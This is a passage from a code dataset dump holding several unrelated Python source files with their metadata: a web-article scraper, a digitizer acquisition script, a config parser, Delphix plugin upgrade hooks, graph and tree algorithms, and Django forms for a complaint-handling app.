numpy.less(abs(self._contourLevels[-1][1]), 1.e20):\n # need ext\n self._contourLevels.append([self._contourLevels[-1][1],\n 1.e20])\n else:\n if numpy.less(abs(self._contourLevels[-1]), 1.e20):\n # need exts\n self._contourLevels.append(1.e20)\n\n self._resultDict.update(\n self._context().renderColorBar(self._template, self._contourLevels,\n self._contourColors, legend,\n self._colorMap))\n\n if self._context().canvas._continents is None:\n self._useContinents = False\n if self._useContinents:\n projection = vcs.elements[\"projection\"][self._gm.projection]\n self._context().plotContinents(x1, x2, y1, y2, projection,\n self._dataWrapModulo,\n self._template)\n","sub_path":"Packages/vcs/Lib/vcsvtk/meshfillpipeline.py","file_name":"meshfillpipeline.py","file_ext":"py","file_size_in_byte":13414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"66533774","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\n\r\ndef getPortions(soup):\r\n heading = soup.find('div', {'class':'deck'})\r\n if heading:\r\n yield heading.text\r\n\r\n for p in soup.find_all('p', {'class':\"\"}):\r\n yield p.text\r\n\r\ndef readPage(url):\r\n page = requests.get(url)\r\n soup = BeautifulSoup(page.text, \"html.parser\")\r\n\r\n for element in getPortions(soup):\r\n f = open(\"yc.txt\", \"w\")\r\n f.write(str(\"\\n%s\" % element))\r\n print(\"\\n%s\" % element)\r\n #print(\"\\n%s\" % element)\r\n #input(\"\\n Press 'Enter ' to continue:\")\r\n\r\n print('\\nEnd of artical')\r\n\r\nif __name__ == '__main__':\r\n url = \"https://www.datacenterdynamics.com/news/microsoft-azure-suffers-outage-after-cooling-issue/\"\r\n readPage(url)\r\n","sub_path":"decodewebpage_file.py","file_name":"decodewebpage_file.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"407832242","text":"import numpy as np\r\nimport ctypes as ct\r\nimport matplotlib.pyplot as plt\r\n# For Python under Linux\r\n#ADQAPI = ct.cdll.LoadLibrary(\"libadq.so\")\r\n# For Python under Windows\r\nADQAPI = ct.cdll.LoadLibrary(\"ADQAPI.dll\")\r\nADQAPI.ADQAPI_GetRevision()\r\n\r\n# Manually set return type from some ADQAPI functions\r\nADQAPI.CreateADQControlUnit.restype = ct.c_void_p\r\nADQAPI.ADQ_GetRevision.restype = ct.c_void_p\r\nADQAPI.ADQ_GetPtrStream.restype = ct.POINTER(ct.c_int16)\r\nADQAPI.ADQControlUnit_FindDevices.argtypes = [ct.c_void_p]\r\n\r\n# Create ADQControlUnit\r\nadq_cu = ct.c_void_p(ADQAPI.CreateADQControlUnit())\r\nADQAPI.ADQControlUnit_EnableErrorTrace(adq_cu, 3, '.')\r\nadq_num = 1\r\n\r\n# Convenience function\r\ndef adq_status(status):\r\n if (status==0):\r\n return 'FAILURE'\r\n else:\r\n return 'OK' \r\n\r\n# Find ADQ devices\r\nADQAPI.ADQControlUnit_FindDevices(adq_cu)\r\nn_of_ADQ = ADQAPI.ADQControlUnit_NofADQ(adq_cu)\r\nprint('Number of ADQ found: {}'.format(n_of_ADQ))\r\n\r\nif n_of_ADQ > 0:\r\n # Get revision info from ADQ\r\n rev = ADQAPI.ADQ_GetRevision(adq_cu, adq_num)\r\n revision = ct.cast(rev,ct.POINTER(ct.c_int))\r\n print('\\nConnected to ADQ #1')\r\n # Print revision information\r\n print('FPGA Revision: {}'.format(revision[0]))\r\n if (revision[1]):\r\n print('Local copy')\r\n else :\r\n print('SVN Managed')\r\n if (revision[2]):\r\n print('Mixed Revision')\r\n else :\r\n print('SVN Updated')\r\n print('')\r\n\r\n # Set clock source\r\n ADQ_CLOCK_INT_INTREF = 0\r\n ADQAPI.ADQ_SetClockSource(adq_cu, adq_num, ADQ_CLOCK_INT_INTREF);\r\n\r\n ##########################\r\n # Test pattern\r\n #ADQAPI.ADQ_SetTestPatternMode(adq_cu, adq_num, 4)\r\n ##########################\r\n # Sample skip\r\n #ADQAPI.ADQ_SetSampleSkip(adq_cu, adq_num, 1)\r\n ##########################\r\n \r\n # Set trig mode\r\n SW_TRIG = 1\r\n EXT_TRIG_1 = 2\r\n EXT_TRIG_2 = 7\r\n EXT_TRIG_3 = 8\r\n LVL_TRIG = 3\r\n INT_TRIG = 4\r\n LVL_FALLING = 0\r\n LVL_RISING = 1\r\n trigger = EXT_TRIG_1\r\n success = ADQAPI.ADQ_SetTriggerMode(adq_cu, adq_num, EXT_TRIG_1)\r\n if (success == 0):\r\n print('ADQ_SetTriggerMode failed.')\r\n success = ADQAPI.ADQ_SetLvlTrigLevel(adq_cu, adq_num, -165)\r\n if (success == 0):\r\n print('ADQ_SetLvlTrigLevel failed.') \r\n success = ADQAPI.ADQ_SetTrigLevelResetValue(adq_cu, adq_num, 1000)\r\n if (success == 0):\r\n print('ADQ_SetTrigLevelResetValue failed.') \r\n success = ADQAPI.ADQ_SetLvlTrigChannel(adq_cu, adq_num, 1)\r\n if (success == 0):\r\n print('ADQ_SetLvlTrigChannel failed.') \r\n success = ADQAPI.ADQ_SetLvlTrigEdge(adq_cu, adq_num, LVL_RISING)\r\n if (success == 0):\r\n print('ADQ_SetLvlTrigEdge failed.')\r\n \r\n number_of_records = 1\r\n samples_per_record = 16384\r\n \r\n # Start acquisition\r\n ADQAPI.ADQ_MultiRecordSetup(adq_cu, adq_num,\r\n number_of_records,\r\n samples_per_record)\r\n ADQAPI.ADQ_DisarmTrigger(adq_cu, adq_num)\r\n ADQAPI.ADQ_ArmTrigger(adq_cu, adq_num)\r\n \r\n while(ADQAPI.ADQ_GetAcquiredAll(adq_cu,adq_num) == 0):\r\n if (trigger == SW_TRIG):\r\n ADQAPI.ADQ_SWTrig(adq_cu, adq_num)\r\n print('Waiting for trigger')\r\n\r\n # Setup target buffers for data\r\n max_number_of_channels = 2\r\n target_buffers=(ct.POINTER(ct.c_int16*samples_per_record*number_of_records)*max_number_of_channels)()\r\n for bufp in target_buffers:\r\n bufp.contents = (ct.c_int16*samples_per_record*number_of_records)()\r\n\r\n # Get data from ADQ\r\n ADQ_TRANSFER_MODE_NORMAL = 0\r\n ADQ_CHANNELS_MASK = 0xF\r\n status = ADQAPI.ADQ_GetData(adq_cu, adq_num, target_buffers,\r\n samples_per_record*number_of_records, 2,\r\n 0, number_of_records, ADQ_CHANNELS_MASK,\r\n 0, samples_per_record, ADQ_TRANSFER_MODE_NORMAL);\r\n print('ADQ_GetData returned {}'.format(adq_status(status)))\r\n\r\n # Re-arrange data in numpy arrays\r\n data_16bit_ch0 = np.frombuffer(target_buffers[0].contents[0],dtype=np.int16)\r\n data_16bit_ch1 = np.frombuffer(target_buffers[1].contents[0],dtype=np.int16)\r\n\r\n # Plot data\r\n if True:\r\n plt.figure(1)\r\n plt.clf()\r\n plt.plot(data_16bit_ch0, '.-')\r\n plt.plot(data_16bit_ch1, '.--')\r\n# plt.plot(data_16bit_ch2, '.--')\r\n# plt.plot(data_16bit_ch3, '.--')\r\n \r\n plt.show()\r\n\r\n # Only disarm trigger after data is collected\r\n ADQAPI.ADQ_DisarmTrigger(adq_cu, adq_num)\r\n ADQAPI.ADQ_MultiRecordClose(adq_cu, adq_num);\r\n\r\n # Delete ADQControlunit\r\n ADQAPI.DeleteADQControlUnit(adq_cu);\r\n\r\n print('Done')\r\n\r\nelse:\r\n print('No ADQ connected.')\r\n\r\n# This can be used to completely unload the DLL in Windows\r\n#ct.windll.kernel32.FreeLibrary(ADQAPI._handle)\r\n","sub_path":"TOF/ADQAPI_python/ADQ_multirecord_example.py","file_name":"ADQ_multirecord_example.py","file_ext":"py","file_size_in_byte":4909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"650947447","text":"import os\n\n\nclass ConfigKeyException(Exception):\n \"\"\"\n Exception that is raised if the key is not in the dictionary thus not in the configuration file.\n \"\"\"\n def __init__(self):\n Exception.__init__(self)\n\n def __str__(self):\n return \"No such Key in the configuration file\"\n\n\nclass ConfReader:\n \"\"\"\n This class is a parser for a configuration file. It reads the keys and values of the file and write them in a dictionary.\n The configuration file must be written as follows: KEY = Value and a line unused or a commentary must start with a #\n \"\"\"\n\n def __init__(self, filename, environment='', path='./'):\n \"\"\"\n Simple constructor for the object\n :param filename: name of the configuration file\n :param path: path of the configuration file, by default, it is the current folder\n \"\"\"\n self.path = os.path.join(path, filename)\n self.conf = {}\n self.environment = environment\n self.parse_env()\n self.parse_values()\n\n def parse_env(self):\n \"\"\"\n This method reads the configuration file and recovers the environment to use if not specified\n :return: /\n \"\"\"\n if self.environment == '':\n with open(self.path) as conf_file:\n lines = conf_file.readlines()\n for line_conf in lines:\n line_conf.strip('\\n').strip('\\r').strip()\n if not line_conf.startswith(\"#\") and line_conf != '\\r' and line_conf != '\\n' and line_conf != ' ':\n try:\n conf_key = line_conf.split(\"=\")[0].strip('\\n').strip(\"\\r\").strip()\n conf_value = line_conf.split(\"=\")[1].strip('\\n').strip(\"\\r\").strip()\n if conf_key == 'ENV':\n self.environment = conf_value\n except IndexError:\n pass\n\n def parse_values(self):\n \"\"\"\n This method reads the configuration file and stores the data in a dictionary\n :return: /\n \"\"\"\n with open(self.path) as conf_file:\n lines = conf_file.readlines()\n current_env = ''\n empty = 0\n for line_conf in lines:\n line_conf.strip('\\n').strip('\\r').strip()\n if not line_conf.startswith(\"#\") and line_conf != '\\r' and line_conf != '\\n' and line_conf != ' ':\n if self.environment != '':\n try:\n if line_conf.find('[') != -1 or line_conf.find(']') != -1:\n current_env = line_conf.split('[')[1].split(']')[0]\n else:\n if current_env == self.environment:\n conf_key = line_conf.split(\"=\")[0].strip('\\n').strip(\"\\r\").strip()\n conf_value = line_conf.split(\"=\")[1].strip('\\n').strip(\"\\r\").strip()\n if conf_key not in self.conf.keys() and conf_key != \"ENV\":\n self.conf[conf_key] = conf_value\n if conf_value == '':\n empty += 1\n except IndexError as e:\n print('\\x1b[31;0m' + e.__str__() + '\\x1b[0m')\n print(\"The configuration file might have some issues. Check it.\")\n else:\n try:\n conf_key = line_conf.split(\"=\")[0].strip('\\n').strip(\"\\r\").strip()\n conf_value = line_conf.split(\"=\")[1].strip('\\n').strip(\"\\r\").strip()\n if conf_key not in self.conf.keys() and conf_key != \"ENV\":\n self.conf[conf_key] = conf_value\n if conf_value == '':\n empty += 1\n except IndexError:\n print('\\x1b[31;0m' + e.__str__() + '\\x1b[0m')\n print(\"The configuration file might have some issues. Check it.\")\n if empty > 0:\n print('\\x1b[34;0m' + \"There is {} empty value(s) in the config file!\".format(empty) + '\\x1b[0m')\n\n def get_value(self, key):\n \"\"\"\n :param key: Item of the configuration file\n :return: the value associated to 'key' in the config file\n \"\"\"\n return self.conf[key]\n\n\nif __name__ == \"__main__\":\n config = ConfReader(\"/Users/quentin/PycharmProjects/ConfReader/test.conf\")\n print(config.conf)\n","sub_path":"ConfReader.py","file_name":"ConfReader.py","file_ext":"py","file_size_in_byte":4693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"311483306","text":"#\n# Copyright (c) 2019 by Delphix. All rights reserved.\n#\n\n# -*- coding: utf-8 -*-\n\n\"\"\"UpgradeOperations for the Virtualization Platform\n\nThere are 5 different objects that we can upgrade. All migration ids must be\nunique. To upgrade a specific schema, the plugin author would use that specific\ndecorator specifying the migration id. We save the implementations of each of\nthe upgrade functions in a dict for the specific schema. For each new upgrade\noperation of the same schema, the key will be the migration id, and the value\nwill be the function that was implemented.\n\"\"\"\nimport json\nimport logging\nfrom dlpx.virtualization.api import platform_pb2\nfrom dlpx.virtualization.platform import MigrationIdSet\nfrom dlpx.virtualization.platform import validation_util as v\nfrom dlpx.virtualization.platform.operation import Operation as Op\nfrom dlpx.virtualization.platform.exceptions import (\n IncorrectUpgradeObjectTypeError)\n\nlogger = logging.getLogger(__name__)\n\n__all__ = ['UpgradeOperations']\n\n\nclass UpgradeOperations(object):\n\n def __init__(self):\n self.__migration_id_set = MigrationIdSet()\n\n self.repository_id_to_impl = {}\n self.source_config_id_to_impl = {}\n self.linked_source_id_to_impl = {}\n self.virtual_source_id_to_impl = {}\n self.snapshot_id_to_impl = {}\n\n def repository(self, migration_id):\n def repository_decorator(repository_impl):\n std_mig_id = self.__migration_id_set.add(\n migration_id, repository_impl.__name__)\n self.repository_id_to_impl[std_mig_id] = v.check_function(\n repository_impl, Op.UPGRADE_REPOSITORY)\n return repository_impl\n return repository_decorator\n\n def source_config(self, migration_id):\n def source_config_decorator(source_config_impl):\n std_mig_id = self.__migration_id_set.add(\n migration_id, source_config_impl.__name__)\n self.source_config_id_to_impl[std_mig_id] = v.check_function(\n source_config_impl, Op.UPGRADE_SOURCE_CONFIG)\n return source_config_impl\n return source_config_decorator\n\n def linked_source(self, migration_id):\n def linked_source_decorator(linked_source_impl):\n std_mig_id = self.__migration_id_set.add(\n migration_id, linked_source_impl.__name__)\n self.linked_source_id_to_impl[std_mig_id] = v.check_function(\n linked_source_impl, Op.UPGRADE_LINKED_SOURCE)\n return linked_source_impl\n return linked_source_decorator\n\n def virtual_source(self, migration_id):\n def virtual_source_decorator(virtual_source_impl):\n std_mig_id = self.__migration_id_set.add(\n migration_id, virtual_source_impl.__name__)\n self.virtual_source_id_to_impl[std_mig_id] = v.check_function(\n virtual_source_impl, Op.UPGRADE_VIRTUAL_SOURCE)\n return virtual_source_impl\n return virtual_source_decorator\n\n def snapshot(self, migration_id):\n def snapshot_decorator(snapshot_impl):\n std_mig_id = self.__migration_id_set.add(\n migration_id, snapshot_impl.__name__)\n self.snapshot_id_to_impl[std_mig_id] = v.check_function(\n snapshot_impl, Op.UPGRADE_SNAPSHOT)\n return snapshot_impl\n return snapshot_decorator\n\n @property\n def migration_id_list(self):\n return self.__migration_id_set.get_sorted_ids()\n\n @staticmethod\n def _success_upgrade_response(upgraded_dict):\n upgrade_result = platform_pb2.UpgradeResult(\n post_upgrade_parameters=upgraded_dict)\n upgrade_response = platform_pb2.UpgradeResponse(\n return_value=upgrade_result)\n return upgrade_response\n\n def __process_upgrade_request(self, request, id_to_impl):\n \"\"\"Iterate through all objects in the pre_upgrade_parameters map,\n invoke all available migrations on each object and its metadata,\n and return a map containing the updated metadata for each object.\n \"\"\"\n post_upgrade_parameters = {}\n for (object_ref, metadata) in request.pre_upgrade_parameters.items():\n # Load the object metadata into a dictionary\n current_metadata = json.loads(metadata)\n #\n # Loop through all migrations that were passed into the upgrade\n # request. Protobuf will preserve the ordering of repeated\n # elements, so we can rely on the backend to sort the migration\n # ids before packing them into the request.\n #\n for migration_id in request.migration_ids:\n # Only try to execute the function if the id exists in the map.\n if migration_id in id_to_impl:\n current_metadata = id_to_impl[migration_id](current_metadata)\n post_upgrade_parameters[object_ref] = json.dumps(current_metadata)\n\n return self._success_upgrade_response(post_upgrade_parameters)\n\n def _internal_repository(self, request):\n \"\"\"Upgrade repositories for plugins.\n \"\"\"\n if request.type != platform_pb2.UpgradeRequest.REPOSITORY:\n raise IncorrectUpgradeObjectTypeError(\n request.type, platform_pb2.UpgradeRequest.REPOSITORY)\n\n logger.debug('Upgrade repositories [{}]'.format(\n ', '.join(sorted(request.pre_upgrade_parameters.keys()))))\n\n return self.__process_upgrade_request(request, self.repository_id_to_impl)\n\n def _internal_source_config(self, request):\n \"\"\"Upgrade source configs for plugins.\n \"\"\"\n if request.type != platform_pb2.UpgradeRequest.SOURCECONFIG:\n raise IncorrectUpgradeObjectTypeError(\n request.type, platform_pb2.UpgradeRequest.SOURCECONFIG)\n\n logger.debug('Upgrade source configs [{}]'.format(\n ', '.join(sorted(request.pre_upgrade_parameters.keys()))))\n\n return self.__process_upgrade_request(request, self.source_config_id_to_impl)\n\n def _internal_linked_source(self, request):\n \"\"\"Upgrade linked source for plugins.\n \"\"\"\n if request.type != platform_pb2.UpgradeRequest.LINKEDSOURCE:\n raise IncorrectUpgradeObjectTypeError(\n request.type, platform_pb2.UpgradeRequest.LINKEDSOURCE)\n\n logger.debug('Upgrade linked sources [{}]'.format(\n ', '.join(sorted(request.pre_upgrade_parameters.keys()))))\n\n return self.__process_upgrade_request(request, self.linked_source_id_to_impl)\n\n def _internal_virtual_source(self, request):\n \"\"\"Upgrade virtual sources for plugins.\n \"\"\"\n if request.type != platform_pb2.UpgradeRequest.VIRTUALSOURCE:\n raise IncorrectUpgradeObjectTypeError(\n request.type, platform_pb2.UpgradeRequest.VIRTUALSOURCE)\n\n logger.debug('Upgrade virtual sources [{}]'.format(\n ', '.join(sorted(request.pre_upgrade_parameters.keys()))))\n\n return self.__process_upgrade_request(request, self.virtual_source_id_to_impl)\n\n def _internal_snapshot(self, request):\n \"\"\"Upgrade snapshots for plugins.\n \"\"\"\n if request.type != platform_pb2.UpgradeRequest.SNAPSHOT:\n raise IncorrectUpgradeObjectTypeError(\n request.type, platform_pb2.UpgradeRequest.SNAPSHOT)\n\n logger.debug('Upgrade snapshots [{}]'.format(\n ', '.join(sorted(request.pre_upgrade_parameters.keys()))))\n\n return self.__process_upgrade_request(request, self.snapshot_id_to_impl)\n","sub_path":"platform/src/main/python/dlpx/virtualization/platform/_upgrade.py","file_name":"_upgrade.py","file_ext":"py","file_size_in_byte":7593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"134309398","text":"\"\"\"\n# Definition for a Node.\nclass Node(object):\n def __init__(self, val, children):\n self.val = val\n self.children = children\n\"\"\"\nimport collections\nclass Solution(object):\n def levelOrder(self, root):\n \"\"\"\n :type root: Node\n :rtype: List[List[int]]\n \"\"\"\n ans=[]\n q=collections.deque()\n q.append(root) # first root in the queue\n while q:\n level=[] # nodes in each level\n size=len(q)\n \n # in one level\n # append the values of nodes into level\n # update queue for next level\n for _ in range(size):\n # every nodes of one level are in each level\n node=q.popleft()\n \n # determine null node\n if not node:\n continue\n \n # append each node value to level ls in one levl\n level.append(node.val)\n \n # update queue for next levle\n for child in node.children:\n q.append(child)\n \n # determine level is not empty\n if level:\n ans.append(level)\n return ans","sub_path":"n-ary_tree_level_order_traversal.py","file_name":"n-ary_tree_level_order_traversal.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"309593359","text":"class Graph:\n def __init__(self, vertices):\n self.vertices = vertices\n self.edge_list = []\n # weight ke sath deal karna ho to adj_list se better, array hi hai, kyuki sorting vagerah asani se ho jayegi\n\n def add_edge(self, node1, node2, weight):\n self.edge_list.append([node1, node2, weight])\n\n def parent_finder(self, parent, node):\n # Node khud apna baap ho to, sidha use hi bhej diya\n if parent[node] == node:\n return node\n\n # Node ka papa koi aur hai, kya us koi aur ka bhi koi papa hai, hai to nikalo, kyuki apan ko sabse bada wala papa chahiye, isliye recursive call\n return self.parent_finder(parent, parent[node])\n\n def union(self, rank, parent, node1, node2):\n node1_parent = self.parent_finder(parent, node1)\n node2_parent = self.parent_finder(parent, node2)\n\n if rank[node1_parent] < rank[node2_parent]:\n parent[node1_parent] = node2_parent\n elif rank[node1_parent] > rank[node2_parent]:\n parent[node2_parent] = node1_parent\n else:\n parent[node2_parent] = node1_parent\n rank[node1_parent] += 1\n\n def Krushkal(self):\n new_edge_list = self.edge_list.copy()\n new_edge_list.sort(key=lambda x: x[2])\n\n # MST ka final result yaha aayega\n MST = []\n\n # For keeping track ki kiska papa kaun hai\n parent = [0]*(self.vertices+1)\n\n # relation jodne ke samay (edge connect karne se pahle) kaun kiska papa banega, wo unki rank se decide hoga\n rank = [0]*(self.vertices+1)\n\n # Sab individual vertices ko apne aap ka hi papa bana ke liye, kyuki MST banane se pahle sab anaat hai!\n for i in range(self.vertices):\n parent[i] = i\n\n # Chalo ab relation banate hai(MST)\n count = 0\n while count < self.vertices:\n count += 1\n temp = new_edge_list.pop(0)\n node1, node2, weight = temp\n node1_parent = self.parent_finder(parent, node1)\n node2_parent = self.parent_finder(parent, node2)\n\n # ab dono ke parent different hone chahiye, otherwise wo cycle bana lenge\n if node1_parent != node2_parent:\n MST.append(temp)\n\n # ab naya relation banega dono vertices mai, rank par aadharit\n self.union(rank, parent, node1, node2)\n\n return MST\n\n\nif __name__ == \"__main__\":\n graph = Graph(5)\n graph.add_edge(1, 2, 1)\n graph.add_edge(1, 4, 2)\n graph.add_edge(2, 3, 3)\n graph.add_edge(3, 4, 3)\n graph.add_edge(3, 5, 4)\n print(graph.Krushkal())\n","sub_path":"krushkal.py","file_name":"krushkal.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"643283016","text":"t=eval(input())\nfor _ in range(t):\n n=eval(input())\n arr=list(map(int,input().strip().split(' ')))\n k=eval(input())\n res=[]\n arr=sorted(arr)\n for i in range(n-1):\n for j in range(i+1,n):\n if (arr[i]+arr[j]==k)&(arr[i]!=arr[j])&([arr[i],arr[j]] not in res):\n res.append([arr[i],arr[j]])\n if len(res)!=0:\n for i in range(len(res)):\n print(res[i][0],end=' ')\n print(res[i][1],end=' ')\n print(k)\n else:\n print(-1)","sub_path":"Code/CodeRecords/2430/60585/250929.py","file_name":"250929.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"133042725","text":"from django import forms\nfrom django.urls import reverse_lazy\n\nfrom master.models import Propinsi, Auditee\nfrom parameter.models import JenisAduan, Unit, TtdVerifikasi\nfrom .base import PengaduanModelForm\nfrom ..models import Pengaduan, Message, PengaduanExt\n\n\nclass ProsesForm(PengaduanModelForm):\n ref_jenis_aduan_admin = forms.ModelChoiceField(queryset=JenisAduan.objects.all(), empty_label=None,\n initial=JenisAduan.objects.get(id=0), label='Jenis Pelanggaran')\n ref_unit_terlapor_admin = forms.ModelChoiceField(queryset=Unit.objects.all().order_by('detil'), empty_label=None,\n required=False, initial=Unit.objects.get(id=0), label='Unit Kerja',\n widget=forms.Select(attrs={\n 'hx-get': reverse_lazy('pengaduanApp:getAuditeeUrl'),\n 'hx-include': '[name=\"ref_provinsi\"]',\n 'hx-target': '#id_ref_auditee_admin',\n }))\n ref_provinsi = forms.ModelChoiceField(queryset=Propinsi.objects.all().order_by('propinsi_name'),\n required=False, label='Provinsi',\n widget=forms.Select(attrs={\n 'hx-get': reverse_lazy('pengaduanApp:getAuditeeUrl'),\n 'hx-include': '[name=\"ref_unit_terlapor_admin\"]',\n 'hx-target': '#id_ref_auditee_admin',\n }))\n ref_auditee_admin = forms.ModelChoiceField(queryset=Auditee.objects.all().order_by('auditee_name'),\n label='Kantor (UPT)')\n jenis_lap = forms.ChoiceField(choices=((1, 'Whistleblowing'), (2, 'Pengaduan Masyarakat')), label='Jenis Laporan')\n\n class Meta:\n model = Pengaduan\n fields = ('ref_jenis_aduan_admin', 'ref_unit_terlapor_admin', 'ref_auditee_admin', 'jenis_lap', 'cc_note')\n\n def clean_ref_jenis_aduan_admin(self):\n jenis_aduan = self.cleaned_data.get('ref_jenis_aduan_admin')\n return jenis_aduan.id\n\n def clean_ref_unit_terlapor_admin(self):\n unit_terlapor = self.cleaned_data.get('ref_unit_terlapor_admin')\n return unit_terlapor.id\n\n def clean_ref_auditee_admin(self):\n auditi = self.cleaned_data.get('ref_auditee_admin')\n return auditi.auditee_id\n\n def save(self, commit=True):\n instance = super().save(commit=False)\n if commit:\n instance.set_status('proses')\n instance.save(catatan=self.cleaned_data.get('cc_note'))\n\n ttd = TtdVerifikasi.objects.get(wilayah=self.user.wilayah)\n obj, created = PengaduanExt.objects.update_or_create(defaults={\n 'ver_nama': ttd.ver_nama,\n 'ver_nip': ttd.ver_nip,\n 'ver_pangkat': ttd.ver_pangkat,\n 'kor_nama': ttd.kor_nama,\n 'kor_nip': ttd.kor_nip,\n 'kor_pangkat': ttd.kor_pangkat,\n }, pengaduan_id=instance.id)\n return instance\n\n\nclass DitolakForm(PengaduanModelForm):\n # jenis_lap = forms.ChoiceField(choices=((1, 'Whistleblowing'), (2, 'Pengaduan Masyarakat'), (3, 'Spam')),\n # label='Jenis Laporan')\n suspend_user = forms.TypedChoiceField(initial=False,\n coerce=lambda x: x == 'True',\n choices=((False, 'Tidak'), (True, 'Ya')),\n widget=forms.RadioSelect)\n\n class Meta:\n model = Pengaduan\n fields = ('jenis_lap', 'cc_note')\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n jenis_choices = [(1, 'Whistleblowing'), (2, 'Pengaduan Masyarakat'), ]\n if self.instance.ref_username.is_pelapor():\n jenis_choices.append((3, 'Spam'))\n\n self.fields['jenis_lap'] = forms.ChoiceField(choices=jenis_choices, label='Jenis Laporan')\n\n def save(self, commit=True):\n instance = super().save(commit=False)\n\n if self.cleaned_data.get('jenis_lap') == 3:\n instance.spam = True\n\n if self.cleaned_data.get('suspend_user'):\n instance.ref_username.active = False\n instance.ref_username.status = False\n instance.ref_username.save()\n\n if commit:\n instance.set_status('ditolak')\n instance.save(catatan=self.cleaned_data.get('cc_note'))\n\n ttd = TtdVerifikasi.objects.get(wilayah=self.user.wilayah)\n obj, created = PengaduanExt.objects.update_or_create(defaults={\n 'ver_nama': ttd.ver_nama,\n 'ver_nip': ttd.ver_nip,\n 'ver_pangkat': ttd.ver_pangkat,\n 'kor_nama': ttd.kor_nama,\n 'kor_nip': ttd.kor_nip,\n 'kor_pangkat': ttd.kor_pangkat,\n }, pengaduan_id=instance.id)\n return instance\n\n\n# class DilimpahkanForm(PengaduanModelForm):\n# kepada = forms.ChoiceField(choices=(('instansi', None,), ('unit', None,), ('wilayah', None, )), widget=forms.RadioSelect,\n# required=False)\n# catatan = forms.CharField(max_length=255, required=False)\n#\n# class Meta:\n# model = Pengaduan\n# fields = ('limpahan', 'ref_unit_pelimpahan',)\n#\n# def __init__(self, *args, **kwargs):\n# super().__init__(*args, **kwargs)\n#\n# self.user_model = get_user_model()\n# self.fields['ref_unit_pelimpahan'] = forms.ModelChoiceField(queryset=Unit.objects.filter(id__gte=1)\n# .exclude(id=28), required=False)\n# wil = list(self.user_model.WILAYAH)\n# wil.pop(self.user.wilayah - 1)\n# wil.insert(0, (None, '---------'))\n# self.fields['wilayah'] = forms.ChoiceField(choices=wil, required=False)\n# self.fields['limpahan'] = forms.ModelChoiceField(queryset=Pelimpahan.objects.all(), required=False)\n#\n# def clean_wilayah(self):\n# wilayah = self.cleaned_data.get('wilayah')\n# if wilayah != '':\n# if self.user_model.objects.filter(ref_role=self.user_model.Role.VERIFIKATOR, wilayah=wilayah).exists():\n# return wilayah\n# self.add_error('kepada', 'wilayah')\n# raise forms.ValidationError('Wilayah belum memiliki verifikator')\n#\n# def clean_ref_unit_pelimpahan(self):\n# unit = self.cleaned_data.get('ref_unit_pelimpahan')\n# if unit:\n# try:\n# validate_email(unit.email)\n# except ValidationError:\n# raise forms.ValidationError('Unit Kerja belum memiliki email yang valid')\n# return unit\n#\n# def clean(self):\n# cleaned_data = super().clean()\n# if cleaned_data.get('kepada') == 'instansi':\n# if cleaned_data.get('limpahan') is None:\n# self.add_error('limpahan', 'Tidak boleh kosong')\n# self.add_error('kepada', 'instansi')\n# else:\n# cleaned_data.pop('ref_unit_pelimpahan')\n# cleaned_data.pop('wilayah')\n# elif cleaned_data.get('kepada') == 'unit':\n# if cleaned_data.get('ref_unit_pelimpahan') is None:\n# self.add_error('ref_unit_pelimpahan', 'Tidak boleh kosong')\n# self.add_error('kepada', 'unit')\n# else:\n# cleaned_data.pop('limpahan')\n# cleaned_data.pop('wilayah')\n# elif cleaned_data.get('kepada') == 'wilayah':\n# if cleaned_data.get('wilayah') is None:\n# self.add_error('wilayah', 'Tidak boleh kosong')\n# self.add_error('kepada', 'wilayah')\n# else:\n# cleaned_data.pop('limpahan')\n# cleaned_data.pop('ref_unit_pelimpahan')\n# return cleaned_data\n#\n# def save(self, commit=True):\n# instance = super().save(commit=False)\n# if commit:\n# cc_note = self.cleaned_data.get('catatan')\n# auto_note = None\n# if self.cleaned_data.get('kepada') == 'instansi':\n# instance.set_status('dilimpahkan')\n# auto_note = f'Aduan dilimpahkan ke {self.cleaned_data.get(\"limpahan\")}'\n# elif self.cleaned_data.get('kepada') == 'unit':\n# instance.set_status('diteruskan')\n# auto_note = f'Aduan diteruskan ke {self.cleaned_data.get(\"ref_unit_pelimpahan\")}'\n# elif self.cleaned_data.get('kepada') == 'wilayah':\n# wilayah = self.cleaned_data.get('wilayah')\n# instance.ref_admin = self.user_model.objects.verifikator(wilayah=wilayah)\n# auto_note = f'{instance.get_wilayah_display()} akan menangani aduan ini'\n# if cc_note == '':\n# cc_note = auto_note\n# instance.cc_note = cc_note\n# instance.save(catatan=cc_note)\n# return instance\n\n\nclass PesanForm(PengaduanModelForm):\n class Meta:\n model = Message\n fields = ('msg_admin', )\n widgets = {\n 'msg_admin': forms.Textarea(attrs={\n 'rows': 3,\n })\n }\n\n def save(self, commit=True):\n instance = super().save(commit=False)\n instance.ref_admin = self.user.username\n if commit:\n instance.save()\n return instance\n","sub_path":"simadu/pengaduan/forms/verifikator.py","file_name":"verifikator.py","file_ext":"py","file_size_in_byte":9736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
